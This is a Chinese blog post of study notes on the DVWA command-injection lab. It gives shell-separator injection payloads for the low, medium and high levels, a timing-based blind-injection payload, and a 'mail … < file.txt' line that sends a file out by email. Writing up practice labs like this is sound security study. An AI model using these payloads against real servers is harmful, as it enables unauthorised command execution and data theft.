美文网首页
DVWA之command injection学习

DVWA之command injection学习

作者: gelinlang | 来源:发表于2019-02-27 17:17 被阅读0次

原理: 程序中某些功能需要执行系统命令,而开发者没有对被当成命令一部分的信息进行过滤和编码,直接使用执行命令的功能函数,从而造成恶意命令执行。

可以使用的一些字符:&&,||,;,&,|,$,',<,>>,>。

如:a&&b,先执行a,成功后执行b。a||b,先执行a,a失败后执行b。a;b,先执行a,后执行b。a|b,将a的输出当作b的输入,返回b的结果。< 是从文件中读入命令输入。>是把结果重定向到文件中。>>把结果追加到别的文本当中等等。

low:没有任何过滤,直接构造127.0.0.1;whoami,显示出当前的用户名。

medium:对&&和;进行过滤,使用未被过滤的||等进行注入,如12345||whoami,显示出当前的用户名。

high:对以上的字符都进行了替换,但是对于|这个,它替换的是‘| ’而不是‘|’(后面有个空格😓),使用|即可,127.0.0.1|whoami,显示出当前的用户名。

后记:对于没有回显的的注入,使用echo "test" > test.txt写到某个指定目录;或者使用sleep命令观察响应时间sleep $(whoami | cut -c 1 | tr a 5),是先得到用户名,截取其第一个字符,假设是a,将a替换为5。如果响应时间超过5s(大于正常响应的时间),就成功了;以及使用一些其他命令如mail your email< file.txt,将某个文件发送到邮箱。

相关文章

  • DVWA之command injection学习

    原理: 程序中某些功能需要执行系统命令,而开发者没有对被当成命令一部分的信息进行过滤和编码,直接使用执行命令的功能...

  • DVWA之Command Injection

    Command Injection(命令注入),是指通过提交恶意构造的参数破坏命令语句结构,从而达到执行恶意命令的...

  • dvwa-Command Injection

    Command Injection,即命令注入,是指通过提交恶意构造的参数破坏命令语句结构,从而达到执行恶意命令的...

  • DVWA Command Injection模块

    Command Injection,即命令注入,是指通过提交恶意构造的参数破坏命令语句结构,从而达到执行恶意命令的...

  • Kali Linux系统利用DVWA靶场测试CSRF攻击:

    DVWA-1.9分10个功能模块: Brute Force(暴力破解) Command Injection(命令行...

  • dvwa-low-Command Injection

    Command Injection,即命令注入,是指通过提交恶意构造的参数破坏命令语句结构,从而达到执行恶意命令的...

  • DVWA练习记录——Command Injection

    看看关于这个的介绍 就是想办法远程执行命令 主界面 先看看low级别代码 只是区分了一下系统版本直接执行ping命...

  • DVWA之SQL Injection

    SQL Injection SQL Injection,即SQL注入,是指攻击者通过注入恶意的SQL命令,破坏SQ...

  • DVWA之sql injection

    Sql Injection:sql注入,指通过注入恶意的SQL命令,破坏SQL查询语句的结构,从而达到执行恶意SQ...

  • DVWA笔记之Command Injection命令行注入

    Command Injection,即命令注入,是指通过提交恶意构造的参数破坏命令语句结构,从而达到执行恶意命令的...

网友评论

      本文标题:DVWA之command injection学习

      本文链接:https://www.haomeiwen.com/subject/vvrfuqtx.html